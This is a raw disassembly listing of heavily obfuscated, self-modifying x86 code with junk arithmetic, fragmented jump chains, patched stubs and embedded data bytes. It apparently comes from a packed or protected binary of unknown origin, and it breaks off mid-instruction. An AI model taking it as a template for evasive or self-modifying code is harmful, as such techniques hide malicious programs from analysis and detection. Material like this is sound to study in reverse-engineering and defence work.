T I N E ======================================= sub_42CD4C proc near ; CODE XREF: sub_42E5B5j adc ebx, esi jmp sub_42CBA0 sub_42CD4C endp ; --------------------------------------------------------------------------- align 4 loc_42CD54: ; CODE XREF: lsqvqpii:0042D938j mov byte ptr [edi], 87h pop edi and ebx, 0F4998F6Ch call sub_42E332 ; --------------------------------------------------------------------------- db 0 db 0 db 3Ch ; < db 0A4h ; ¤ db 0Fh db 85h ; … db 5 db 0 db 0 db 0 db 0E9h ; é db 0D0h ; Ð db 2 db 0 db 0 db 68h ; h db 0D2h ; Ò db 0E1h ; á db 42h ; B db 0 db 0E9h ; é db 9Bh ; › db 20h db 0 db 0 db 81h ; db 0DBh ; Û db 0CDh ; Í db 7Ch ; | db 0FEh ; þ db 92h ; ’ db 0F7h ; ÷ db 0D7h ; × db 0C1h ; Á db 0C7h ; Ç db 3 db 57h ; W db 0BFh ; ¿ db 6Dh ; m db 0D6h ; Ö db 42h ; B db 0 db 0E9h ; é db 79h ; y db 2 db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42CD93 proc near ; CODE XREF: lsqvqpii:loc_42D118p ; FUNCTION CHUNK AT 0042D566 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D860 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042DC46 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042DEBF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042E03D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E12E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EBBF SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xor edx, eax dec ecx jnz loc_42D566 jmp loc_42E03D sub_42CD93 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9Ch, 68h, 5Bh dd 87D17234h, 0D38B241Ch, 4C2815Bh, 0F8B9A17h, 1F1189h dd 63E90000h, 1Bh, 24148700h, 4800F5Ah, 56000006h, 12C6E956h dd 81000000h, 0E01B78DBh, 74DE9A3h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D080 loc_42CDE4: ; CODE XREF: sub_42D080+B62j pop ecx xchg edx, [esp-4+arg_0] mov ebp, edx pop edx jmp nullsub_22 ; END OF FUNCTION CHUNK FOR sub_42D080 ; --------------------------------------------------------------------------- dd 0C0870F00h, 87000003h, 0FF5E2434h, 4210C015h, 0E4D16800h dd 97E90042h, 15h, 0C181C300h, 549B97ADh dword_42CE14 dd 0E9240CB1h, 3B2h, 0FD47E800h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42CE22: ; CODE XREF: sub_42DD3F:loc_42EAE8j pop edx or edx, 96534090h add edx, 0A78C8C43h and edx, 81455E35h rol edx, 1Ch xor edx, 0E9E2B019h popf jmp loc_42EC48 ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EC30 loc_42CE46: ; CODE XREF: sub_42EC30-658j call sub_42D2AC ; END OF FUNCTION CHUNK FOR sub_42EC30 ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42CE4B: ; CODE XREF: sub_42DC4F-4E4j ; sub_42DC4F:loc_42E966j xor edi, 0F2CBD66Bh add edi, ebp add edi, 10E2138Bh sbb eax, 243CA33Fh jmp loc_42DAC3 ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42CE64: ; CODE XREF: sub_42E407-430j jo loc_42ED56 and ecx, 5CAE2977h sub ecx, 68ADB443h jmp sub_42EA00 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB44 loc_42CE7D: ; CODE XREF: sub_42EB44-F7Dj mov byte ptr [edi], 89h pop edi pop edi xor edi, 0F2DAE2F6h push edi jmp loc_42D021 ; END OF FUNCTION CHUNK FOR sub_42EB44 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg ecx, ebx jmp loc_42D62D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42CE96: ; CODE XREF: sub_42E407:loc_42DFBEj ; sub_42E407+737j jmp loc_42D806 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0E9h, 3, 0FFh dd 5200FFFFh, 42CD67BAh, 1438E900h, 0B9680000h, 0E90042D8h ; CODE XREF: sub_42D663+Dj ; lsqvqpii:0042EBF8j dd 0D30h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42CEBA: ; DATA XREF: sub_42E7E2+Fo xchg esi, [esp] jmp loc_42DF80 ; --------------------------------------------------------------------------- dw 3600h dd 1504E800h, 0 ; --------------------------------------------------------------------------- jmp locret_42D9AB ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42CED3: ; CODE XREF: sub_42E407:loc_42DDA8j sub eax, edx jz loc_42E9BD jmp loc_42E929 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- loc_42CEE0: ; DATA XREF: sub_42E6D7+3o xchg ebx, [esp] mov edx, ebx pop ebx mov byte ptr [edx], 8Bh pop edx push 411C9A0h jmp loc_42CF58 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42CEF7: ; CODE XREF: sub_42DD3F+Aj jmp loc_42CF1C ; END OF FUNCTION CHUNK FOR sub_42DD3F ; =============== S U B R O U T I N E ======================================= sub_42CEFC proc near ; DATA XREF: sub_42CBA0:loc_42E7B3o add eax, 6CFD83CDh xchg eax, [esp+0] jmp sub_42DB92 sub_42CEFC endp ; --------------------------------------------------------------------------- dw 0E800h dd 1B14h, 6B0F4568h, 0B7EE948h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42CF1C: ; CODE XREF: sub_42DD3F:loc_42CEF7j mov byte ptr [eax], 8Bh pop eax pushf push 6AD4A825h xchg ebp, [esp+0] mov ecx, ebp pop ebp and ecx, 0C619EA1h jmp loc_42E292 ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_42CF38 proc near ; FUNCTION CHUNK AT 0042E650 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042E7C9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042EDDA SIZE 00000005 BYTES call sub_421134 jmp loc_42EDDA sub_42CF38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDBB loc_42CF43: ; CODE XREF: sub_42EDBB:loc_42EBA5j ; sub_42EDBB+Aj mov edx, [eax] or edx, edx jz loc_42E7D7 push offset sub_42CC9B jmp loc_42EC22 ; END OF FUNCTION CHUNK FOR sub_42EDBB ; --------------------------------------------------------------------------- align 4 loc_42CF58: ; CODE XREF: lsqvqpii:0042CEEFj push eax push 0EBA9029h pop eax rol eax, 2 jmp loc_42E983 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] dd 80E90000h, 87FFFFFBh, 525F243Ch, 0A052E468h, 0C2815A5Fh ; CODE XREF: sub_42E0CA+Fp dd 79996F3h, 0A99E9h, 0C300h, 0EE5E9h, 0C6000000h, 8B598701h dd 241487D0h, 74CE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDBB loc_42CF9D: ; CODE XREF: sub_42EDBB-694j mov byte ptr [esi], 90h pop esi call sub_42DCC5 ; END OF FUNCTION CHUNK FOR sub_42EDBB ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_42CFA8: ; CODE XREF: lsqvqpii:0042E11Dj jmp loc_42E239 ; --------------------------------------------------------------------------- jmp loc_42E643 ; --------------------------------------------------------------------------- dw 9900h ; --------------------------------------------------------------------------- jmp loc_42DD50 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42CFBA: ; CODE XREF: sub_42E407+951j push 0B0BDA6DBh loc_42CFBF: ; CODE XREF: lsqvqpii:0042D63Fj or eax, 0C1ED23D4h cmp eax, 0CCFF7331h jmp loc_42D22D ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- dd 2C870000h, 0B8BB5324h, 0E90042D9h, 418h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42CFE0: ; CODE XREF: sub_42E407+A0j jnz loc_42D548 mov edi, ecx test eax, 9CD6F0E9h jmp near ptr loc_42D11D+1 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 dd 243C8700h, 8B243487h, 45895EFEh, 0C8DE8FCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_42D006: ; CODE XREF: lsqvqpii:0042DBFCj jmp locret_42EC29 ; --------------------------------------------------------------------------- jmp loc_42D2E6 ; =============== S U B R O U T I N E ======================================= sub_42D010 proc near ; CODE XREF: sub_42D877:loc_42E2FAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042CAB4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042DB56 SIZE 00000008 BYTES xchg ecx, [esp-4+arg_0] pop ecx push eax mov eax, offset loc_42DB57 jmp loc_42CAB4 sub_42D010 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB44 loc_42D021: ; CODE XREF: sub_42EB44-1CBBj mov edi, eax xchg edi, [esp-4+arg_0] mov eax, offset byte_42D823 jmp loc_42D5AB ; END OF FUNCTION CHUNK FOR sub_42EB44 ; --------------------------------------------------------------------------- dd 0F75F0000h, 0A1DD81D0h, 0E936FCC3h, 1287h, 82E9EB85h dd 0Fh, 92880F00h, 8700001Dh, 515E2434h, 42DFE6B9h, 0FE50E900h dd 0FFFFh, 8A9D008Bh, 0E2BE6800h, 0ABE90042h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42D06F: ; CODE XREF: lsqvqpii:loc_42E076j cmp esi, ebx jmp loc_42E063 ; --------------------------------------------------------------------------- loc_42D076: ; CODE XREF: lsqvqpii:loc_42D815j push offset loc_42D210 jmp loc_42E096 ; =============== S U B R O U T I N E ======================================= sub_42D080 proc near ; CODE XREF: sub_42E2D3+33Bj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042CDE4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042DBCE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042DD8C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E5AA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E6CA SIZE 00000005 BYTES push ebx push 0E48E22A2h pop ebx xor ebx, 0FF52F887h sub ebx, 23FAAE21h and ebx, 0DA0ADD2Fh jmp loc_42DD8C sub_42D080 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h test esi, ebp jmp loc_42D3BD ; --------------------------------------------------------------------------- xchg ebx, [edx] jmp sub_42ECE4 ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- xor al, 24h mov ecx, esi pop esi xchg ebp, [esp] push ebp jmp loc_42E613 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42D0BF: ; CODE XREF: sub_42DC4F:loc_42EB9Fj mov byte ptr [eax], 87h pop eax pop edi rol edi, 2 xor edi, 8F1C36D3h sub edi, 8184D569h test edi, 100000h jmp loc_42E3AA ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42D0DF: ; CODE XREF: lsqvqpii:loc_42DDDBj pop ecx rol ecx, 8 push offset byte_42DF21 jmp loc_42E037 ; --------------------------------------------------------------------------- align 2 loc_42D0EE: ; DATA XREF: lsqvqpii:0042EDEDo mov edx, [edx] push esi mov esi, offset dword_42DFE8 jmp loc_42D6BD ; --------------------------------------------------------------------------- align 4 loc_42D0FC: ; DATA XREF: sub_42EB86-46Eo push edi mov edi, edx xchg edi, [esp] mov edx, offset loc_42E76B jmp loc_42D61B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42D10E: ; CODE XREF: sub_42CD93+1132p xchg esi, [esp] pop esi lodsb add edx, eax rol edx, 3 loc_42D118: ; CODE XREF: lsqvqpii:0042DEBAj call sub_42CD93 loc_42D11D: ; CODE XREF: sub_42E407-1419j add [edi], cl mov word ptr [ebx], ds pop es ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- add edx, 39790B74h not ebx ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D12C: ; CODE XREF: sub_42E407:loc_42E49Aj add eax, 3E4579A2h mov eax, [eax] jmp loc_42DDA8 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 0FF1EE900h, 0FFFFh, 0A5CF8159h, 68C39F15h, 42CCEBh dd 1028E9h db 3 dup(0) byte_42D157 db 6Ah ; DATA XREF: lsqvqpii:loc_42E239o dd 0FC99E8FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB44 loc_42D15E: ; CODE XREF: sub_42EB44+266j add edi, 0C8D4421Eh loc_42D164: ; DATA XREF: sub_42EB44:loc_42DBC2o mov [edi], eax push offset loc_42D771 jmp nullsub_24 ; END OF FUNCTION CHUNK FOR sub_42EB44 ; --------------------------------------------------------------------------- dd 5D8700h, 0AD6E9h, 68000000h, 7F78A5Ah, 76CF815Fh, 81DEE0C9h dd 8A2569E7h, 86CE9E3h, 0 ; --------------------------------------------------------------------------- and ecx, ebx xchg eax, ecx jmp loc_42D694 ; --------------------------------------------------------------------------- align 2 push edi jmp sub_42E0CA ; --------------------------------------------------------------------------- loc_42D1A4: ; CODE XREF: lsqvqpii:0042CBFAj call sub_42DF16 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D1AB: ; CODE XREF: sub_42E407+8A1j jmp loc_42E65C ; END OF FUNCTION CHUNK FOR sub_42E407 ; =============== S U B R O U T I N E ======================================= sub_42D1B0 proc near ; CODE XREF: lsqvqpii:0042CB1Cj ; lsqvqpii:0042E2EAp ; FUNCTION CHUNK AT 0042DFB7 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push ebp mov ebp, esp push offset word_42E4BA jmp loc_42DFB7 sub_42D1B0 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] dd 349h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D1C8: ; CODE XREF: sub_42E407-1020j jmp loc_42D7C3 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 2 jmp nullsub_3 ; --------------------------------------------------------------------------- align 4 dd 0B4890F00h, 0E9000012h, 483h ; =============== S U B R O U T I N E ======================================= sub_42D1E0 proc near ; CODE XREF: lsqvqpii:0042D69Ep var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042E052 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E90E SIZE 00000018 BYTES xchg edx, [esp+0] sbb edx, eax jmp loc_42E052 sub_42D1E0 endp ; --------------------------------------------------------------------------- align 4 dword_42D1EC dd 8C3FC568h, 0C7C15F99h, 50CF811Ah, 0C13F7AC2h, 0C78115C7h ; DATA XREF: lsqvqpii:0042EC50o dd 169F0481h, 3C1DF781h, 79E977C3h, 0FFFFFDh ; --------------------------------------------------------------------------- loc_42D210: ; DATA XREF: lsqvqpii:loc_42D076o add esi, 0F66421B0h xchg esi, [esp] jmp nullsub_3 ; --------------------------------------------------------------------------- align 10h push offset byte_42DE2D jmp locret_42EB26 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D22D: ; CODE XREF: sub_42E407-143Cj jmp loc_42E49A ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42D232: ; CODE XREF: sub_42D877:loc_42EA97j call sub_42E407 jmp loc_42EA6D ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- loc_42D23C: ; CODE XREF: lsqvqpii:0042D6F5j jmp locret_42DB0C ; --------------------------------------------------------------------------- align 2 dw 0D9E9h dd 0FFFFFAh, 2E880F00h, 81000006h, 0B639BCAh, 4C2C1D0h dd 9C9BC281h, 0C203FF41h, 0FED7E95Ah, 0FFFFh, 0DDE88158h dd 81A49BF2h, 944282C0h, 0B9E95037h, 0Eh, 7E9E955h, 23000000h dd 1AECE9DAh, 0E8000000h, 1794h, 0FC2F890Fh, 58DFFFFh dd 42DDCDh, 87CF8B51h, 0CB68240Ch, 0E92F97E8h, 19D6h ; =============== S U B R O U T I N E ======================================= sub_42D2AC proc near ; CODE XREF: sub_42EC30:loc_42CE46p ; lsqvqpii:0042DC41j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042D95C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042DC03 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042E4F3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E799 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042EAD0 SIZE 00000011 BYTES xchg edi, [esp+0] xchg esi, [esp+0] mov edi, esi pop esi jmp loc_42E799 sub_42D2AC endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 588DFD81h, 2AE97A45h, 0FFFFFBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBA0 loc_42D2C8: ; CODE XREF: sub_42CBA0-A1j ; lsqvqpii:0042CB11j sub eax, 0A49D37F8h jnz loc_42E7B3 rol edi, 1 push 11DC4DCDh xor eax, 0C07D4193h jmp loc_42E7AD ; END OF FUNCTION CHUNK FOR sub_42CBA0 ; --------------------------------------------------------------------------- loc_42D2E6: ; CODE XREF: lsqvqpii:0042D00Bj mov byte ptr [edi], 87h xchg edx, [esp] mov edi, edx pop edx or edi, 34DDF0Eh rol edi, 17h jmp loc_42EC1C ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0FFFD0686h, 0E9EE1BFFh, 0FFFFFAB9h, 0E8580000h, 31Bh ; CODE XREF: lsqvqpii:loc_42D316j ; --------------------------------------------------------------------------- locret_42D314: ; CODE XREF: lsqvqpii:loc_42CCE4j retn ; --------------------------------------------------------------------------- align 2 loc_42D316: ; CODE XREF: lsqvqpii:0042E1A3j jmp near ptr dword_42D300+0Eh ; --------------------------------------------------------------------------- db 0E9h ; é ; CODE XREF: lsqvqpii:0042D5C5j db 43h ; C db 0Fh db 0 db 0 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] align 4 loc_42D324: ; CODE XREF: lsqvqpii:0042CD46j jmp loc_42DBF0 ; --------------------------------------------------------------------------- db 2 dup(0), 0F7h dd 993E9D1h, 820F0000h, 168Eh ; =============== S U B R O U T I N E ======================================= sub_42D338 proc near ; CODE XREF: sub_42E407-A85p xchg ecx, [esp+0] pop ecx push eax mov eax, edx xchg eax, [esp+0] push 5F4615ECh pop edx jmp loc_42E4B5 sub_42D338 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42D34F: ; DATA XREF: sub_42D5D5+1169o xchg edi, [esp] push edi call sub_42EB44 ; START OF FUNCTION CHUNK FOR sub_42E5DE loc_42D358: ; CODE XREF: sub_42E5DE:loc_42ED2Cj xchg ebp, [esp+0] mov esi, ebp pop ebp ; END OF FUNCTION CHUNK FOR sub_42E5DE ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D35E: ; CODE XREF: sub_42E407:loc_42EB34j or esi, 4A2FF8A8h add esi, 2452CB29h push edx push 8FA053F5h pop edx jmp loc_42DDA2 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 jl loc_42D798 and edi, 0AA5094B1h push edx push 7A271302h pop edx rol edx, 1Ch jmp loc_42D5B1 ; --------------------------------------------------------------------------- align 4 mov byte ptr [eax], 0C3h xchg edi, [esp] mov eax, edi pop edi xchg ecx, [esp] jmp loc_42D46D ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 0F2D99AC7h, 3C879DDFh, 0FA8B5724h, 0E9243C87h, 0FFFFFAE1h db 0 ; --------------------------------------------------------------------------- loc_42D3BD: ; CODE XREF: lsqvqpii:0042D0A2j jns loc_42E764 rol ecx, 12h jmp sub_42DA05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42D3CB: ; CODE XREF: sub_42DD3F:loc_42EC48j xor eax, eax cld jmp loc_42E8C2 ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- db 51h dd 8B68CE8Bh, 0E90042CCh, 0FFFFF8E6h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D3E2: ; CODE XREF: sub_42E407:loc_42DBA5j mov esi, offset loc_42DCBC jmp loc_42D1C8 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- dd 0ECBF9900h, 0E9A8216Eh, 0B0Fh, 42D9AC68h, 0FACAE900h dd 0D3F7FFFFh, 1143E9h, 32C08100h, 818A0E5Ah, 8969A2E8h dd 5BF08122h, 81DB62A7h, 5B7BD1C0h, 0E95250D5h, 561h db 0 byte_42D429 db 56h, 8Bh, 0F5h ; DATA XREF: sub_42DB92o dd 0D10E8h, 31E90000h, 11h, 0EB6E6852h, 815AC2B1h, 4345E2EAh dd 0C3E281CBh, 0E982274Fh, 0EB4h, 7720C081h, 0C06C3922h dd 119A840Fh, 68510000h, 0EB7D0E42h, 3B0E959h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- loc_42D46D: ; CODE XREF: lsqvqpii:0042D3A0j push esi mov esi, edi xchg esi, [esp] push 0BCD66469h pop edi add edi, 0D3C32D8Dh or edi, 0A5395C39h xor edi, 0AC8C4F32h jmp near ptr dword_42CC24+1Dh ; --------------------------------------------------------------------------- dd 0C2130000h, 7DDE9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42D49B: ; CODE XREF: sub_42D877+Cj jz loc_42E2F5 jmp loc_42E1CC ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- dw 0C600h dd 0E8588700h, 0A22h, 3C870000h db 24h ; --------------------------------------------------------------------------- loc_42D4B5: ; CODE XREF: lsqvqpii:0042CC65j xchg ebp, [esp] mov edi, ebp pop ebp add edi, 23F0DDDBh add edi, ebp call sub_42E2D3 add bl, al add [ecx+311628C6h], al call near ptr 686C0B60h inc esp in al, dx adc dl, [ecx] sbb ecx, 0C9ED956Ah jmp loc_42DDDB ; --------------------------------------------------------------------------- dd 0D33B0000h, 91E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EA00 loc_42D4EF: ; CODE XREF: sub_42EA00+Bj pop edi xor edi, 0EA3083FCh sub edi, 24380F6h rol edi, 0Ch sub edi, 389E0F7Ch push edi mov edi, offset loc_42E1EB jmp loc_42E1E1 ; END OF FUNCTION CHUNK FOR sub_42EA00 ; --------------------------------------------------------------------------- dd 243C8700h, 0F8ABE85Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBA0 loc_42D51A: ; CODE XREF: sub_42CBA0+1C18j jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_42CBA0 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D520: ; CODE XREF: sub_42E407+8Ej ; DATA XREF: sub_42EC73-FC8o mov eax, [eax] or eax, eax jnz loc_42E5BB jmp loc_42E908 ; END OF FUNCTION CHUNK FOR sub_42E407 ; =============== S U B R O U T I N E ======================================= sub_42D52F proc near ; CODE XREF: lsqvqpii:0042E3D9p ; FUNCTION CHUNK AT 0042D88A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DF39 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 7D09F1A9h pop eax jmp loc_42DF39 sub_42D52F endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42D53F: ; CODE XREF: sub_42D877:loc_42E2F5j ; DATA XREF: lsqvqpii:0042E27Co lea eax, nullsub_3 mov byte ptr [eax], 0C3h loc_42D548: ; CODE XREF: sub_42E407:loc_42CFE0j call nullsub_1 call nullsub_2 push 574E85AAh jmp loc_42ECAF ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- dd 0D6850000h, 0FFFD9AE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_42CD93 loc_42D566: ; CODE XREF: sub_42CD93+7j ; sub_42DD3F:loc_42E8C2j jnz loc_42DEBF js loc_42E4DE lodsb push offset loc_42DEB5 jmp loc_42EBBF ; END OF FUNCTION CHUNK FOR sub_42CD93 ; --------------------------------------------------------------------------- align 2 jge nullsub_2 add edi, ebx jmp loc_42E439 ; --------------------------------------------------------------------------- loc_42D58B: ; DATA XREF: lsqvqpii:0042E615o push 0F22B067Bh push edi mov edi, offset loc_42E02F jmp loc_42E203 ; --------------------------------------------------------------------------- db 87h dd 81582404h, 0AD131C2h, 0E07E8E0h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB44 loc_42D5AB: ; CODE XREF: sub_42EB44-1B19j jmp loc_42ED9E ; END OF FUNCTION CHUNK FOR sub_42EB44 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42D5B1: ; CODE XREF: lsqvqpii:0042D38Ej and edx, 4756E368h xor edx, 0F99D7CEEh rol edx, 17h push offset loc_42E26B jmp near ptr unk_42D31B ; --------------------------------------------------------------------------- align 4 locret_42D5CC: ; CODE XREF: lsqvqpii:loc_42DDEEj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42D5CF: ; CODE XREF: lsqvqpii:0042E06Fj jl loc_42CC03 ; =============== S U B R O U T I N E ======================================= sub_42D5D5 proc near arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042E736 SIZE 00000012 BYTES xchg esi, [esp+0] pop esi xchg edi, [esp-4+arg_0] xchg esi, [esp-4+arg_0] jmp loc_42E736 sub_42D5D5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 15FF0000h, 4210C0h, 0A8256856h, 815E8179h, 7D54EEh dd 64C6814Eh, 812FA3B4h, 0AF3FCAE6h, 1762E983h, 890F0000h dd 0FFFFFD6Eh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D611: ; CODE XREF: sub_42E407-6Cj jmp loc_42D94C ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- loc_42D616: ; CODE XREF: lsqvqpii:0042DB21j jmp loc_42CCD0 ; --------------------------------------------------------------------------- loc_42D61B: ; CODE XREF: lsqvqpii:0042D107j jmp loc_42D904 ; --------------------------------------------------------------------------- dd 800F0000h, 161Ah, 5F2E9h db 0 ; --------------------------------------------------------------------------- loc_42D62D: ; CODE XREF: lsqvqpii:0042CE91j or edi, edx xchg ebx, [esp] pop ebx push 6524CE2h pop eax and eax, 2978D263h jns loc_42CFBF sub ebx, 0AE7EBA37h jmp loc_42ED53 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42D651: ; CODE XREF: sub_42E407+2E4j mov byte ptr [eax], 0Fh pop eax xor edx, eax dec ecx ; END OF FUNCTION CHUNK FOR sub_42E407 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] db 0FFh dd 4CE9FFFFh db 0FAh, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_42D663 proc near ; CODE XREF: lsqvqpii:loc_42E08Ap xchg ebx, [esp+0] pop ebx add edi, 5082D686h lock cmp al, 24h jmp near ptr 